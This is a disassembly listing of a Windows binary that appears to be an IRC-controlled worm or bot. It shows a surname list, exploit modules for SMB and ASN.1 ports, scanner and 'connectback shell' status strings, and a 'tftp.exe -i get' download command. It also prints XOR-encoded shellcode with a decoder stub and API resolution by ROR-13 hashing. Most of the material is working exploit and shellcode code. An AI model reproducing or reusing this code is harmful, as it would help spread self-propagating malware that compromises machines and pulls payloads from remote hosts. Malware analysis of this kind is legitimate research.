aBontempo db 'Bontempo',0 ; DATA XREF: ___:0042DEE4o
align 4
aBoniface db 'Boniface',0 ; DATA XREF: ___:0042DEE0o
align 10h
aBonham db 'Bonham',0 ; DATA XREF: ___:0042DEDCo
align 4
aBoner db 'Boner',0 ; DATA XREF: ___:0042DED8o
align 10h
aBologna db 'Bologna',0 ; DATA XREF: ___:0042DED4o
aBollinger db 'Bollinger',0 ; DATA XREF: ___:0042DED0o
align 4
aBolick db 'Bolick',0 ; DATA XREF: ___:0042DECCo
align 4
aBolger db 'Bolger',0 ; DATA XREF: ___:0042DEC8o
align 4
aBlyth db 'Blyth',0 ; DATA XREF: ___:0042DEC4o
align 4
aBloxham db 'Bloxham',0 ; DATA XREF: ___:0042DEC0o
aBloemhof db 'Bloemhof',0 ; DATA XREF: ___:0042DEBCo
align 10h
aBloembergen db 'Bloembergen',0 ; DATA XREF: ___:0042DEB8o
aBloch db 'Bloch',0 ; DATA XREF: ___:0042DEB4o
align 4
aBlizard db 'Blizard',0 ; DATA XREF: ___:0042DEB0o
aBliss db 'Bliss',0 ; DATA XREF: ___:0042DEACo
align 4
aBlanke db 'Blanke',0 ; DATA XREF: ___:0042DEA8o
align 4
aBlakemore db 'Blakemore',0 ; DATA XREF: ___:0042DEA4o
align 4
aBlagg db 'Blagg',0 ; DATA XREF: ___:0042DEA0o
align 10h
aBlackwell db 'Blackwell',0 ; DATA XREF: ___:0042DE9Co
align 4
aBlackbourn db 'Blackbourn',0 ; DATA XREF: ___:0042DE98o
align 4
aBisho db 'Bisho',0 ; DATA XREF: ___:0042DE94o
align 10h
aBisema db 'Bisema',0 ; DATA XREF: ___:0042DE90o
align 4
aBir db 'Bir',0 ; DATA XREF: ___:0042DE8Co
aBinion db 'Binion',0 ; DATA XREF: ___:0042DE88o
align 4
aBickel db 'Bickel',0 ; DATA XREF: ___:0042DE84o
align 4
aBiagioli db 'Biagioli',0 ; DATA XREF: ___:0042DE80o
align 4
aBeynart db 'Beynart',0 ; DATA XREF: ___:0042DE7Co
aBetti db 'Betti',0 ; DATA XREF: ___:0042DE78o
align 4
aBerrizbeitia db 'Berrizbeitia',0 ; DATA XREF: ___:0042DE74o
align 4
aBernston db 'Bernston',0 ; DATA XREF: ___:0042DE70o
align 4
aBernassola db 'Bernassola',0 ; DATA XREF: ___:0042DE6Co
align 10h
aBernardo db 'Bernardo',0 ; DATA XREF: ___:0042DE68o
align 4
aBerkeJenkins db 'Berke-Jenkins',0 ; DATA XREF: ___:0042DE64o
align 4
aBergson db 'Bergson',0 ; DATA XREF: ___:0042DE60o
aBenedictDye db 'Benedict-Dye',0 ; DATA XREF: ___:0042DE5Co
align 4
aBelloc db 'Belloc',0 ; DATA XREF: ___:0042DE58o
align 4
aBellini db 'Bellini',0 ; DATA XREF: ___:0042DE54o
aBellhouse db 'Bellhouse',0 ; DATA XREF: ___:0042DE50o
align 10h
aBellavance db 'Bellavance',0 ; DATA XREF: ___:0042DE4Co
align 4
aBelinCollart db 'Belin-Collart',0 ; DATA XREF: ___:0042DE48o
align 4
aBelfer db 'Belfer',0 ; DATA XREF: ___:0042DE44o
align 4
aBelaoussof db 'Belaoussof',0 ; DATA XREF: ___:0042DE40o
align 10h
aBelanger db 'Belanger',0 ; DATA XREF: ___:0042DE3Co
align 4
aBehenna db 'Behenna',0 ; DATA XREF: ___:0042DE38o
aBedford db 'Bedford',0 ; DATA XREF: ___:0042DE34o
aBeder db 'Beder',0 ; DATA XREF: ___:0042DE30o
align 4
aBeckman db 'Beckman',0 ; DATA XREF: ___:0042DE2Co
aBean db 'Bean',0 ; DATA XREF: ___:0042DE28o
align 4
aBeal db 'Beal',0 ; DATA XREF: ___:0042DE24o
align 4
aBeacon db 'Beacon',0 ; DATA XREF: ___:0042DE20o
align 4
aBayo db 'Bayo',0 ; DATA XREF: ___:0042DE1Co
align 4
aBayles db 'Bayles',0 ; DATA XREF: ___:0042DE18o
align 4
aBaumiller db 'Baumiller',0 ; DATA XREF: ___:0042DE14o
align 10h
aBatchelder db 'Batchelder',0 ; DATA XREF: ___:0042DE10o
align 4
aBashevis db 'Bashevis',0 ; DATA XREF: ___:0042DE0Co
align 4
aBasavappa db 'Basavappa',0 ; DATA XREF: ___:0042DE08o
align 4
aBartoo db 'Bartoo',0 ; DATA XREF: ___:0042DE04o
align 4
aBartolome db 'Bartolome',0 ; DATA XREF: ___:0042DE00o
align 4
aBartholomew db 'Bartholomew',0 ; DATA XREF: ___:0042DDFCo
aBarry db 'Barry',0 ; DATA XREF: ___:0042DDF8o
align 4
aBarriola db 'Barriola',0 ; DATA XREF: ___:0042DDF4o
align 4
aBarnett db 'Barnett',0 ; DATA XREF: ___:0042DDF0o
aBarneson db 'Barneson',0 ; DATA XREF: ___:0042DDECo
align 4
aBarbetti db 'Barbetti',0 ; DATA XREF: ___:0042DDE8o
align 4
aBarberi db 'Barberi',0 ; DATA XREF: ___:0042DDE4o
aBaranowska db 'Baranowska',0 ; DATA XREF: ___:0042DDE0o
align 4
aBaranczak db 'Baranczak',0 ; DATA XREF: ___:0042DDDCo
align 4
aBarajas db 'Barajas',0 ; DATA XREF: ___:0042DDD8o
aBarabesi db 'Barabesi',0 ; DATA XREF: ___:0042DDD4o
align 4
aBanta db 'Banta',0 ; DATA XREF: ___:0042DDD0o
align 4
aBaltz db 'Baltz',0 ; DATA XREF: ___:0042DDCCo
align 4
aBallew db 'Ballew',0 ; DATA XREF: ___:0042DDC8o
align 4
aBallatori db 'Ballatori',0 ; DATA XREF: ___:0042DDC4o
align 10h
aBaleja db 'Baleja',0 ; DATA XREF: ___:0042DDC0o
align 4
aBakanowsky db 'Bakanowsky',0 ; DATA XREF: ___:0042DDBCo
align 4
aBailar db 'Bailar',0 ; DATA XREF: ___:0042DDB8o
align 4
aBagnold db 'Bagnold',0 ; DATA XREF: ___:0042DDB4o
aBaglivo db 'Baglivo',0 ; DATA XREF: ___:0042DDB0o
aBady db 'Bady',0 ; DATA XREF: ___:0042DDACo
align 4
aBackus db 'Backus',0 ; DATA XREF: ___:0042DDA8o
align 4
aBachmuth db 'Bachmuth',0 ; DATA XREF: ___:0042DDA4o
align 4
aAzima db 'Azima',0 ; DATA XREF: ___:0042DDA0o
align 10h
aAyling db 'Ayling',0 ; DATA XREF: ___:0042DD9Co
align 4
aAykroyd db 'Aykroyd',0 ; DATA XREF: ___:0042DD98o
aAyiemba db 'Ayiemba',0 ; DATA XREF: ___:0042DD94o
aAxworthy db 'Axworthy',0 ; DATA XREF: ___:0042DD90o
align 4
aAxelrod db 'Axelrod',0 ; DATA XREF: ___:0042DD8Co
aAurelius db 'Aurelius',0 ; DATA XREF: ___:0042DD88o
align 4
aAugustus db 'Augustus',0 ; DATA XREF: ___:0042DD84o
align 4
aAtkins db 'Atkins',0 ; DATA XREF: ___:0042DD80o
align 4
aArky db 'Arky',0 ; DATA XREF: ___:0042DD7Co
align 4
aArjas db 'Arjas',0 ; DATA XREF: ___:0042DD78o
align 4
aAristotle db 'Aristotle',0 ; DATA XREF: ___:0042DD74o
align 4
aArellano db 'Arellano',0 ; DATA XREF: ___:0042DD70o
align 4
aArduini db 'Arduini',0 ; DATA XREF: ___:0042DD6Co
aArbia db 'Arbia',0 ; DATA XREF: ___:0042DD68o
align 4
aAntos db 'Antos',0 ; DATA XREF: ___:0042DD64o
align 4
aAnthony db 'Anthony',0 ; DATA XREF: ___:0042DD60o
aAnsley db 'Ansley',0 ; DATA XREF: ___:0042DD5Co
align 4
aAnfinrud db 'Anfinrud',0 ; DATA XREF: ___:0042DD58o
align 4
aAndron db 'Andron',0 ; DATA XREF: ___:0042DD54o
align 10h
aAndrelus db 'Andrelus',0 ; DATA XREF: ___:0042DD50o
align 4
aAndo db 'Ando',0 ; DATA XREF: ___:0042DD4Co
align 4
aAndel db 'Andel',0 ; DATA XREF: ___:0042DD48o
align 4
aAnand db 'Anand',0 ; DATA XREF: ___:0042DD44o
align 4
aAmsden db 'Amsden',0 ; DATA XREF: ___:0042DD40o
align 4
aAmeer db 'Ameer',0 ; DATA XREF: ___:0042DD3Co
align 4
aAmatangelo db 'Amatangelo',0 ; DATA XREF: ___:0042DD38o
align 10h
aAmaral db 'Amaral',0 ; DATA XREF: ___:0042DD34o
align 4
aAltenhofen db 'Altenhofen',0 ; DATA XREF: ___:0042DD30o
align 4
aAltenberger db 'Altenberger',0 ; DATA XREF: ___:0042DD2Co
aAltavilla db 'Altavilla',0 ; DATA XREF: ___:0042DD28o
align 4
aAlongi db 'Alongi',0 ; DATA XREF: ___:0042DD24o
align 4
aAllison db 'Allison',0 ; DATA XREF: ___:0042DD20o
aAleks db 'Aleks',0 ; DATA XREF: ___:0042DD1Co
align 4
aAlda db 'Alda',0 ; DATA XREF: ___:0042DD18o
align 4
aAlcorn db 'Alcorn',0 ; DATA XREF: ___:0042DD14o
align 4
aAlavi db 'Alavi',0 ; DATA XREF: ___:0042DD10o
align 4
aAhlers db 'Ahlers',0 ; DATA XREF: ___:0042DD0Co
align 4
aAdorno db 'Adorno',0 ; DATA XREF: ___:0042DD08o
align 4
aAdibe db 'Adibe',0 ; DATA XREF: ___:0042DD04o
align 4
aAdelstein db 'Adelstein',0 ; DATA XREF: ___:0042DD00o
align 10h
aAddison db 'Addison',0 ; DATA XREF: ___:off_42DCFCo
aAdams db 'Adams',0 ; DATA XREF: ___:0042DCF8o
align 10h
aAckerman db 'Ackerman',0 ; DATA XREF: ___:0042DCF4o
align 4
aAbdulrazak db 'Abdulrazak',0 ; DATA XREF: ___:off_42DCF0o
align 4
byte_431948 db 50h ; DATA XREF: ___:0040ADF0o
; ___:0040ADFDr
db 43h, 2 dup(0)
dword_43194C dd 7C7325h ; DATA XREF: ___:0040AE9Bo
dword_431950 dd 5D73255Bh, 7Ch ; DATA XREF: ___:0040AFA5o
dword_431958 dd 3F3F3Fh ; DATA XREF: ___:loc_40AF9Co
; sub_41AA43:loc_41AB06o
dword_43195C dd 334B32h ; DATA XREF: ___:0040AF95o
dword_431960 dd 5058h ; DATA XREF: ___:0040AF87o
; sub_41AA43+AAo
dword_431964 dd 4B32h ; DATA XREF: ___:0040AF77o
; sub_41AA43+98o
dword_431968 dd 454Dh ; DATA XREF: ___:0040AF5Eo
; sub_41AA43+7Eo
dword_43196C dd 3839h ; DATA XREF: ___:0040AF4Eo
; sub_41AA43+6Co
dword_431970 dd 544Eh ; DATA XREF: ___:0040AF3Eo
; sub_41AA43+5Ao
dword_431974 dd 3539h ; DATA XREF: ___:0040AF30o
; sub_41AA43+46o
dword_431978 dd 5D64255Bh, 7325h ; DATA XREF: sub_40AFEB+3Ao
dword_431980 dd 5D4D5Bh ; DATA XREF: sub_40AFEB+2Co
; sub_40AFEB+57o
aMirc_0 db 'mIRC',0 ; DATA XREF: sub_40AFEB+18o
; sub_418212+5o
align 4
jmp short loc_431990
; ---------------------------------------------------------------------------
loc_43198E: ; CODE XREF: ___:loc_431990p
jmp short loc_431995
; ---------------------------------------------------------------------------
loc_431990: ; CODE XREF: ___:0043198Cj
call loc_43198E
loc_431995: ; CODE XREF: ___:loc_43198Ej
pop ebx
xor ecx, ecx
mov cx, 0FFFFh
loc_43199C: ; CODE XREF: ___:004319A1j
xor byte ptr [ebx+0Eh], 0FFh
inc ebx
loop loc_43199C
add bl, ch
add ch, bl
add eax, 0FFFFF9E8h
call fword ptr [ebx+31h]
leave
mov cl, 0FFh
loc_4319B2: ; CODE XREF: ___:004319B7j
xor byte ptr [ebx+0Ch], 0FFh
inc ebx
loop loc_4319B2
; ---------------------------------------------------------------------------
db 3 dup(0)
dd 364C033h, 0C783040h, 8B0C408Bh, 8BAD1C70h, 9EB0840h
dd 8D34408Bh, 408B7C40h, 3D08B3Ch, 0CA8B3C40h, 8B784803h
dd 0DA8B2041h, 331C5903h, 57F633FFh, 3CA8B57h, 7981100Ch
dd 7373650Ah, 8B027541h, 3798133h, 72685474h, 3B8B0275h
dd 8304C083h, 0F68504C3h, 0FF85DB74h, 0F203D774h, 0E857FA03h
dd 12h
aTftp_exeIGet db 'tftp.exe -i get ',0
; ---------------------------------------------------------------------------
push 0
call sub_431A54
jnz short loc_431A40
retn
; ---------------------------------------------------------------------------
loc_431A40: ; CODE XREF: ___:00431A3Dj
; ___:00431A4Dj
call near ptr loc_431A45+1
loc_431A45: ; CODE XREF: ___:loc_431A40p
add [edx+0], ch
call sub_431A54
jz loc_431A40
retn
; =============== S U B R O U T I N E =======================================
sub_431A54 proc near ; CODE XREF: ___:00431A38p
; ___:00431A48p
pop eax
pop ebx
pop ebp
push eax
sub esp, 54h
xor eax, eax
mov edi, esp
lea ecx, [eax+40h]
mov edx, edi
rep stosb
mov al, 44h
stosd
push edi
push edx
push ecx
push ecx
push 28h
push 1
push ecx
push ecx
push ebp
push ebx
call esi
add esp, 54h
test eax, eax
retn
sub_431A54 endp
; ---------------------------------------------------------------------------
align 10h
dd 234032Dh, 65726874h, 6C206461h, 2747369h, 202D03h
aSNoSThreadFoun db '%s No %s thread found.',0 ; DATA XREF: sub_40B385+51o
align 4
aSSStopped_DThr db '%s %s stopped. (%d thread(s) stopped.)',0 ; DATA XREF: sub_40B385+35o
align 8
aSym db 'sym',0 ; DATA XREF: sub_40C125+169o
dd 0
db 2 dup(0)
aSymantec db 'Symantec',0 ; DATA XREF: sub_40B7DB+30o
align 4
dd 5 dup(0)
dword_431B00 dd 0B97h ; DATA XREF: sub_401ACD+1DA1r
; sub_401ACD+1DCAo ...
off_431B04 dd offset sub_40E0D1 ; DATA XREF: sub_40C125+1EAr
dword_431B08 dd 0 ; DATA XREF: sub_40B64B+2Eo
; ___:0040D496w ...
dword_431B0C dd 1 ; DATA XREF: sub_40BACE+1Fr
dword_431B10 dd 1 ; DATA XREF: sub_40BACE+3B3r
dword_431B14 dd 0 ; DATA XREF: sub_40BACE+292r
dd 636E76h, 0
dd 6E760000h, 63h, 6 dup(0)
dd 170Ch, 40E207h, 0
dd 2 dup(1), 0
aNet139 db 'net139',0
align 10h
dd 654E0000h, 69706174h, 393331h, 5 dup(0)
dd 8Bh, 40DF8Fh, 0
dd 2 dup(1), 0
aNet445 db 'net445',0
align 10h
dd 654E0000h, 69706174h, 353434h, 5 dup(0)
dd 1BDh, 40DF8Fh, 0
dd 2 dup(1), 0
aAsn80 db 'asn80',0
align 10h
dd 53410000h, 2D312E4Eh, 50545448h, 5 dup(0)
dd 50h, 40D2DAh, 0
dd 2 dup(1), 0
aAsn445 db 'asn445',0
align 10h
dd 53410000h, 2D312E4Eh, 424D53h, 5 dup(0)
dd 1BDh, 40D2DAh, 0
dd 2 dup(1), 0
aAsn139 db 'asn139',0
align 10h
dd 53410000h, 2D312E4Eh, 20424D53h, 544Eh, 4 dup(0)
dd 8Bh, 40D2DAh, 0
dd 2 dup(1), 2 dup(0)
dd 10100h, 0Eh dup(0)
aAsn445_0 db 'asn445',0
align 10h
db 2 dup(0)
byte_431CE2 db 1 ; DATA XREF: sub_401ACD:loc_4037E7r
; sub_401ACD+1D24o
db 73h
dd 6D79h, 0
dd 100h, 3 dup(0)
; ---------------------------------------------------------------------------
jmp short loc_431D0E
; =============== S U B R O U T I N E =======================================
sub_431CFE proc near ; CODE XREF: sub_431CFE:loc_431D0Ep
pop edx
dec edx
xor ecx, ecx
mov cx, 166h
loc_431D06: ; CODE XREF: sub_431CFE+Cj
xor byte ptr [edx+ecx], 99h
loop loc_431D06
jmp short loc_431D13
; ---------------------------------------------------------------------------
loc_431D0E: ; CODE XREF: ___:00431CFCj
call sub_431CFE
loc_431D13: ; CODE XREF: sub_431CFE+Ej
jo short near ptr dword_431C9C+12h
cwde
cdq
cdq
retn
sub_431CFE endp ; sp-analysis failed
; ---------------------------------------------------------------------------
db 21h, 95h, 69h
dd 9912E664h, 3485E912h, 1291D912h, 0A5EA1241h, 0EF126A9Ah
dd 126A9AE1h, 629AB9E7h, 0AA8DD712h, 0C8CECF74h, 629AA612h
dd 97F36B12h, 0ED3F6AC0h, 1AC6C091h, 7BDC9D5Eh, 0C7C6C070h
dd 0DF125412h, 485A9ABDh, 0AA589A78h, 9112FF50h, 9A85DF12h
dd 9B78585Ah, 9912589Ah, 63125A9Ah, 5F1A6E12h, 0F3491297h
dd 0E571C09Ah, 1A999999h, 0CFCB945Fh, 0C365CE66h, 9DF34112h
dd 99F071C0h, 0C9C99999h, 98F3C9C9h, 0CE669BF3h, 5E411269h
dd 9E999B9Eh, 1059AA24h, 89F39DDEh, 0CE66CACEh, 0CA98F36Dh
dd 0C961CE66h, 0CE66CAC9h, 0DD751A65h, 42AA6D12h, 10C089F3h
dd 627B1785h, 10A1DF10h, 0DF10A5DFh, 0B5DF5ED9h, 99999898h
dd 0C989DE14h, 0CACACACFh, 0CACA98F3h, 0FAA5DE5Eh, 1499FDF4h
dd 0CAC9A5DEh, 0C97DCE66h, 0AA71CE66h, 591C3559h, 0CBC860ECh
dd 4B66CACFh, 7B32C0C3h, 5A59AA77h, 66676271h, 0EDFCDE66h
dd 0FAF6EBC9h, 0EBFDFDD8h, 99EAEAFCh, 0F8FCEBDAh, 0EBC9FCEDh
dd 0EAFCFAF6h, 0DC99D8EAh, 0C9EDF0E1h, 0FCFAF6EBh, 0D599EAEAh
dd 0D5FDF8F6h, 0F8EBFBF0h, 99D8E0EBh, 0C6ABEAEEh, 0CE99ABAAh
dd 0F6CAD8CAh, 0EDFCF2FAh, 0F0FB99D8h, 0F599FDF7h, 0FCEDEAF0h
dd 0FAF899F7h, 0EDE9FCFAh, 99h
aTotalDInS_ db ' Total: %d in %s.',0 ; DATA XREF: sub_40B64B+86o
align 10h
dword_431E90 dd 25370320h, 203A0373h, 2C6425h ; DATA XREF: sub_40B64B+46o
unk_431E9C db 2Dh ; - ; DATA XREF: sub_40B64B+11o
db 3, 34h, 2
db 73h ; s
db 63h, 61h, 6Eh
db 2
db 3, 2Dh, 20h
aExploitStatist db 'Exploit Statistics:',0
unk_431EBC db 2Dh ; - ; DATA XREF: sub_40B71A+38o
db 3, 34h, 2
db 73h ; s
db 63h, 61h, 6Eh
db 2
db 3, 2Dh, 20h
db 54h ; T
db 72h, 61h, 6Eh
db 73h ; s
db 66h, 65h, 72h
db 20h
db 53h, 74h, 61h
db 74h ; t
db 69h, 73h, 74h
db 69h ; i
db 63h, 73h, 3Ah
db 20h
db 2, 54h, 46h
db 54h ; T
db 50h, 2, 3Ah
db 20h
db 25h, 64h, 2Ch
db 20h
db 2, 46h, 54h
db 50h ; P
db 2, 3Ah, 20h
aDTotalDInS_ db '%d, Total %d in %s.',0
unk_431F04 db 2Dh ; - ; DATA XREF: sub_40B786+22o
db 3, 34h, 2
db 73h ; s
db 63h, 61h, 6Eh
db 2
db 3, 2Dh, 20h
aDConnectbackSh db '%d connectback shells in %s.',0
align 10h
aScanTimeS_ db ' Scan Time: %s.',0 ; DATA XREF: sub_40B7DB+7Fo
dword_431F40 dd 25370320h, 28200373h, 73253403h, 2C2903h ; DATA XREF: sub_40B7DB+40o
dword_431F50 dd 234032Dh, 6E616373h, 202D0302h, 6C707845h, 2074696Fh
; DATA XREF: sub_40B7DB+14o
dd 7473694Ch, 3Ah
unk_431F6C db 2Dh ; - ; DATA XREF: ___:0040BA14o
db 3, 34h, 2
db 65h ; e
db 78h, 70h, 6Ch
db 6Fh ; o
db 69h, 74h, 2
db 3
aFinishedExploi db '- finished exploiting %s (%d attempts)',0
unk_431FA0 db 2Dh ; - ; DATA XREF: ___:0040B922o
db 3, 34h, 2
db 65h ; e
db 78h, 70h, 6Ch
db 6Fh ; o
db 69h, 74h, 2
db 3
db 2Dh, 20h, 74h
db 72h ; r
db 79h, 69h, 6Eh
db 67h ; g
db 20h, 2, 25h
db 73h ; s
db 2, 20h, 6Fh
aNSPortD___ db 'n %s (port %d)...',0
align 10h
unk_431FD0 db 2Dh ; - ; DATA XREF: sub_40BA57+42o
db 3, 34h, 2
db 73h ; s
db 63h, 61h, 6Eh
db 2
db 3, 2Dh, 20h
aScanNotActive_ db 'Scan not active.',0
align 10h
unk_431FF0 db 2Dh ; - ; DATA XREF: sub_40BA57+2Co
db 3, 34h, 2
db 73h ; s
db 63h, 61h, 6Eh
db 2
db 3, 2Dh, 20h
aCurrentIpS_ db 'Current IP: %s.',0
unk_43200C db 2Dh ; - ; DATA XREF: sub_40BACE+4B7o
db 3, 34h, 2
db 68h ; h
db 2 dup(74h), 70h
db 64h ; d
db 2, 3, 2Dh
aFailedToSta_33 db ' Failed to start server, error: <%d>.',0
align 10h
unk_432040 db 2Dh ; - ; DATA XREF: sub_40BACE+38Fo
db 3, 34h, 2
db 63h ; c
db 6Fh, 2 dup(6Eh)
db 65h ; e
db 63h, 74h, 62h
db 61h ; a
db 63h, 6Bh, 2
db 3
aFailedToSta_34 db '- Failed to start server, error: <%d>.',0
unk_432078 db 2Dh ; - ; DATA XREF: sub_40BACE+321o
db 3, 34h, 2
db 63h ; c
db 6Fh, 2 dup(6Eh)
db 65h ; e
db 63h, 74h, 62h
db 61h ; a
db 63h, 6Bh, 2
db 3
aServerStarte_2 db '- Server started on Port: %d.',0
align 4
unk_4320A8 db 2Dh ; - ; DATA XREF: sub_40BACE+26Co
db 3, 34h, 2
db 66h ; f
db 74h, 70h, 64h
db 2
db 3, 2Dh, 20h
aFailedToSta_35 db 'Failed to start server, error: <%d>.',0
align 4
unk_4320DC db 2Dh ; - ; DATA XREF: sub_40BACE+1FEo
db 3, 34h, 2
db 66h ; f
db 74h, 70h, 64h
db 2
db 3, 2Dh, 20h
aServerStarte_3 db 'Server started on Port: %d, File: %s.',0
align 10h
unk_432110 db 2Dh ; - ; DATA XREF: sub_40BACE+148o
db 3, 34h, 2
db 74h ; t
db 66h, 74h, 70h
db 64h ; d
db 2, 3, 2Dh
aFailedToSta_36 db ' Failed to start server, error: <%d>.',0
align 4
unk_432144 db 2Dh ; - ; DATA XREF: sub_40C125+EEo
db 3, 34h, 2
db 73h ; s
db 63h, 61h, 6Eh
db 2
db 3, 2Dh, 20h
aIpSPortDIsOpen db 'IP: %s, Port %d is open.',0
align 4
unk_43216C db 2Dh ; - ; DATA XREF: sub_40C125+93o
db 3, 34h, 2
db 73h ; s
db 63h, 61h, 6Eh
db 2
db 3, 2Dh, 20h
aIpSDScanThread db 'IP: %s:%d, Scan thread: %d, Sub-thread: %d.',0
unk_4321A4 db 2Dh ; - ; DATA XREF: sub_40C125+3E6o
db 3, 34h, 2
db 73h ; s
db 63h, 61h, 6Eh
db 2
db 3, 2Dh, 20h
aFinishedAtSDAf db 'Finished at %s:%d after %d minute(s) of scanning.',0
align 4
unk_4321E4 db 2Dh ; - ; DATA XREF: sub_40C125+38Bo
db 3, 34h, 2
db 73h ; s
db 63h, 61h, 6Eh
db 2
db 3, 2Dh, 20h
aFailedToStartW db 'Failed to start worker thread, error: <%d>.',0
unk_43221C db 2Dh ; - ; DATA XREF: sub_40C125+31Bo
db 3, 34h, 2
db 73h ; s
db 63h, 61h, 6Eh
db 2
db 3, 2Dh, 20h
aSDScanThreadDS db '%s:%d, Scan thread: %d, Sub-thread: %d.',0
unk_432250 db 2Dh ; - ; DATA XREF: sub_40C125+29Fo
db 3, 34h, 2
db 73h ; s
db 63h, 61h, 6Eh
db 2
db 3, 2Dh, 20h
aFailedToInitia db 'Failed to initialize critical section.',0
align 4
dword_432284 dd 234032Dh, 6E616373h, 202D0302h, 203A5049h, 50207325h
; DATA XREF: sub_40C59C+92o
dd 3A74726Fh, 20642520h, 6F207369h, 2E6E6570h, 0
db 2Dh ; -
db 3, 34h, 2
db 73h ; s
db 63h, 61h, 6Eh
db 2
db 3, 2Dh, 20h
aScanningIpSPor db 'Scanning IP: %s, Port: %d.',0
align 4
db 2Dh ; -
db 3, 34h, 2
db 70h ; p
db 6Fh, 72h, 74h
db 73h ; s
db 63h, 61h, 6Eh
db 2
db 3, 2Dh, 20h
aFinishedScanni db 'Finished scanning IP: %s.',0
align 10h
db 2Dh ; -
db 3, 34h, 2
db 70h ; p
db 6Fh, 72h, 74h
db 73h ; s
db 63h, 61h, 6Eh
db 2
db 3, 2Dh, 20h
aScanningIpSP_0 db 'Scanning IP: %s, Port: %d.',0
align 4
aRbrbrbrb db 'BBBB',0 ; DATA XREF: sub_40CADB+B2o
align 4
dword_432338 dd 10FF8h, 0 ; DATA XREF: sub_40CADB+6Ao
dword_432340 dd 10FF8h ; DATA XREF: sub_40CADB+79o
dword_432344 dd 7FFDF020h, 0 ; DATA XREF: sub_40CADB+162o
dword_43234C dd 424D53FFh, 72h, 0C8531800h, 3 dup(0) ; DATA XREF: sub_40CF05+7Bo
dd 13370000h, 0
dd 2006200h
aPcNetworkProgr db 'PC NETWORK PROGRAM 1.0',0
db 2
db 4Ch ; L
db 41h, 4Eh, 4Dh
db 41h ; A
db 4Eh, 31h, 2Eh
db 30h ; 0
align 2
dw 5702h
aIndowsForWorkg db 'indows for Workgroups 3.1a',0
db 2
dd 2E314D4Ch, 30305832h, 4C020032h, 414D4E41h, 312E324Eh
dd 544E0200h, 204D4C20h, 32312E30h, 0
dword_4323D4 dd 424D53FFh, 73h, 0C8071800h, 3 dup(0) ; DATA XREF: sub_40CF05+34o
dd 13370000h, 0
dd 0FF0Ch, 0A110400h, 2 dup(0)
dword_432404 dd 0 ; DATA XREF: sub_40CF05+44o
dd 800000D4h, 0
unk_432410 db 81h ; ; DATA XREF: sub_40CFDF+Ao
db 2 dup(0), 44h
aCkfdenecfdeffc db ' CKFDENECFDEFFCFGEFFCCACACACACACA',0
aCacacacacacaca db ' CACACACACACACACACACACACACACACAAA',0
dd 0
byte_43245C db 41h ; DATA XREF: sub_40D07D+107r
aBcdefghijklmno db 'BCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/',0
align 10h
; =============== S U B R O U T I N E =======================================
sub_4324A0 proc near ; DATA XREF: ___:0040D35Co
push ebx
push esi
push edi
sub sp, 80h
mov esi, esp
call sub_43259C
push dword ptr [esi]
push 63D61209h
call sub_4325B2
mov [esi+8], eax
call sub_432565
push dword ptr [esi+4]
push 0CA2BD06Bh
call sub_4325B2
mov [esi+0Ch], eax
call sub_432517
push dword ptr [esi+4]
push 4C0297FAh
call sub_4325B2
xor ebx, ebx
push 410h
push ebx
call eax
mov ebx, eax
push esi
mov esi, [esi+10h]
mov edi, eax
mov ecx, 410h
rep movsb
pop esi
xor eax, eax
push eax
push eax
push eax
push ebx
push eax
push eax
call dword ptr [esi+0Ch]
mov eax, [esi+8]
add sp, 80h
pop edi
pop esi
pop ebx
jmp eax
sub_4324A0 endp
; =============== S U B R O U T I N E =======================================
sub_432517 proc near ; CODE XREF: sub_4324A0+33p
var_20 = dword ptr -20h
var_14 = dword ptr -14h
pusha
call sub_432540
mov eax, [esp+20h+var_14]
lea ebx, [eax+7Ch]
add dword ptr [ebx+3Ch], 5
add dword ptr [ebx+28h], 1000h
and dword ptr [ebx+28h], 0FFFFF000h
mov eax, [esp+20h+var_20]
add esp, 14h
push eax
xor eax, eax
retn
sub_432517 endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
sub_432540 proc near ; CODE XREF: sub_432517+1p
xor edx, edx
push dword ptr fs:[edx]
mov fs:[edx], esp
xor ebx, ebx
mov eax, 42904290h
loc_43254F: ; CODE XREF: sub_432540+1Aj
xor ecx, ecx
mov cl, 2
mov edi, ebx
repe scasd
jz short loc_43255C
inc ebx
jmp short loc_43254F
; ---------------------------------------------------------------------------
loc_43255C: ; CODE XREF: sub_432540+17j
mov [esi+10h], edi
pop dword ptr fs:[edx]
pop eax
popa
retn
sub_432540 endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
sub_432565 proc near ; CODE XREF: sub_4324A0+1Ep
pusha
mov edi, 7FFDF020h
mov ebx, [edi]
mov eax, [esi+8]
mov [edi], eax
mov edi, [edi-8]
add edi, 178h
mov ecx, edi
loc_43257D: ; CODE XREF: sub_432565+1Ej
cmp [ecx], ebx
jz short loc_432585
mov ecx, [ecx]
jmp short loc_43257D
; ---------------------------------------------------------------------------
loc_432585: ; CODE XREF: sub_432565+1Aj
mov edx, edi
loc_432587: ; CODE XREF: sub_432565+2Aj
cmp [edx+4], ebx
jz short loc_432591
mov edx, [edx+4]
jmp short loc_432587
; ---------------------------------------------------------------------------
loc_432591: ; CODE XREF: sub_432565+25j
mov [ecx], edx
mov [edx+4], ecx
mov byte ptr [ebx-3], 1
popa
retn
sub_432565 endp
; =============== S U B R O U T I N E =======================================
sub_43259C proc near ; CODE XREF: sub_4324A0+Ap
mov eax, ds:7FFDF00Ch
mov eax, [eax+1Ch]
mov ebx, [eax+8]
mov [esi], ebx
mov eax, [eax]
mov eax, [eax+8]
mov [esi+4], eax
retn
sub_43259C endp
; =============== S U B R O U T I N E =======================================
sub_4325B2 proc near ; CODE XREF: sub_4324A0+16p
; sub_4324A0+2Bp ...
var_4 = dword ptr -4
arg_0 = dword ptr 4
arg_4 = dword ptr 8
pusha
mov ebp, [esp+20h+arg_4]
mov eax, [ebp+3Ch]
mov edx, [ebp+eax+78h]
add edx, ebp
mov ecx, [edx+18h]
mov ebx, [edx+20h]
add ebx, ebp
loc_4325C8: ; CODE XREF: sub_4325B2+33j
jecxz short loc_432602
dec ecx
mov esi, [ebx+ecx*4]
add esi, ebp
xor edi, edi
xor eax, eax
cld
loc_4325D5: ; CODE XREF: sub_4325B2+2Dj
lodsb
cmp al, ah
jz short loc_4325E1
ror edi, 0Dh
add edi, eax
jmp short loc_4325D5
; ---------------------------------------------------------------------------
loc_4325E1: ; CODE XREF: sub_4325B2+26j
cmp edi, [esp+20h+arg_0]
jnz short loc_4325C8
mov ebx, [edx+24h]
add ebx, ebp
mov cx, [ebx+ecx*2]
